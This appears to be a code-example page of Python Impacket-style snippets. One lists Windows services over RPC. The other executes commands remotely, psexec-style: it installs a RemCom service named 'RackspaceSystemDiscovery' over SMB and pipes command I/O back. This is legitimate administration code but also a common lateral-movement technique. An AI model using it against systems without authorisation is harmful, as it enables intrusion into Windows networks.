            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
            resp = rpc.EnumServicesStatusW(scManagerHandle)
            for i in range(len(resp)):
                print "%30s - %70s - " % (resp[i]['ServiceName'].decode(
                    'utf-16'), resp[i]['DisplayName'].decode('utf-16')),
                state = resp[i]['CurrentState']
                if state == svcctl.SERVICE_CONTINUE_PENDING:
                    print "CONTINUE PENDING"
                elif state == svcctl.SERVICE_PAUSE_PENDING:
                    print "PAUSE PENDING"
                elif state == svcctl.SERVICE_PAUSED:
                    print "PAUSED"
                elif state == svcctl.SERVICE_RUNNING:
                    print "RUNNING"
                elif state == svcctl.SERVICE_START_PENDING:
                    print "START PENDING"
                elif state == svcctl.SERVICE_STOP_PENDING:
                    print "STOP PENDING"
                elif state == svcctl.SERVICE_STOPPED:
                    print "STOPPED"
                else:
                    print "UNKOWN"
            print "Total Services: %d" % len(resp)

        else:
            print "Unknown action %s" % self.__action

        rpc.CloseServiceHandle(scManagerHandle)

        dce.disconnect()

        return
예제 #29
0
 def get_dce_rpc(self):
     if isinstance(self, UDPTransport):
         return dcerpc_v4.DCERPC_v4(self)
     else:
         return dcerpc.DCERPC_v5(self)
예제 #30
0
    def doStuff(self, rpctransport):
        """."""
        dce = dcerpc.DCERPC_v5(rpctransport)
        try:
            dce.connect()
        except Exception as e:
            print(e)
            sys.exit(1)

        global dialect
        dialect = rpctransport.get_smb_connection().getDialect()

        try:
            unInstalled = False
            s = rpctransport.get_smb_connection()

            # We don't wanna deal with timeouts from now on.
            s.setTimeout(100000)
            svcName = "RackspaceSystemDiscovery"
            executableName = "RackspaceSystemDiscovery.exe"
            if self.__exeFile is None:
                svc = remcomsvc.RemComSvc()
                installService = serviceinstall.ServiceInstall(s, svc,
                                                               svcName,
                                                               executableName)
            else:
                try:
                    f = open(self.__exeFile)
                except Exception as e:
                    print(e)
                    sys.exit(1)
                installService = serviceinstall.ServiceInstall(s, f,
                                                               svcName,
                                                               executableName)

            installService.install()

            if self.__exeFile is not None:
                f.close()

            tid = s.connectTree('IPC$')
            fid_main = self.openPipe(s, tid, '\RemCom_communicaton', 0x12019f)

            packet = RemComMessage()
            pid = os.getpid()

            packet['Machine'] = ''.join([random.choice(string.letters)
                                        for i in range(4)])
            if self.__path is not None:
                packet['WorkingDir'] = self.__path
            packet['Command'] = self.__command
            packet['ProcessID'] = pid

            s.writeNamedPipe(tid, fid_main, str(packet))

            # Here we'll store the command we type so we don't print it back ;)
            # ( I know.. globals are nasty :P )
            global LastDataSent
            LastDataSent = ''

            retCode = None
            # Create the pipes threads
            stdin_pipe = RemoteStdInPipe(rpctransport,
                                         '\%s%s%d' % (RemComSTDIN,
                                                      packet['Machine'],
                                                      packet['ProcessID']),
                                         smbconnection.smb.FILE_WRITE_DATA |
                                         smbconnection.smb.FILE_APPEND_DATA,
                                         installService.getShare())
            stdin_pipe.start()
            stdout_pipe = RemoteStdOutPipe(rpctransport,
                                           '\%s%s%d' % (RemComSTDOUT,
                                                        packet['Machine'],
                                                        packet['ProcessID']),
                                           smbconnection.smb.FILE_READ_DATA)
            stdout_pipe.start()
            stderr_pipe = RemoteStdErrPipe(rpctransport,
                                           '\%s%s%d' % (RemComSTDERR,
                                                        packet['Machine'],
                                                        packet['ProcessID']),
                                           smbconnection.smb.FILE_READ_DATA)
            stderr_pipe.start()

            # And we stay here till the end
            ans = s.readNamedPipe(tid, fid_main, 8)

            if len(ans):
                retCode = RemComResponse(ans)
                print("[*] Process %s finished with ErrorCode: %d, "
                      "ReturnCode: %d" % (self.__command, retCode['ErrorCode'],
                                          retCode['ReturnCode']))
            installService.uninstall()
            unInstalled = True
            sys.exit(retCode['ReturnCode'])

        except Exception:
            if unInstalled is False:
                installService.uninstall()
            sys.stdout.flush()
            if retCode:
                sys.exit(retCode['ReturnCode'])
            else:
                sys.exit(1)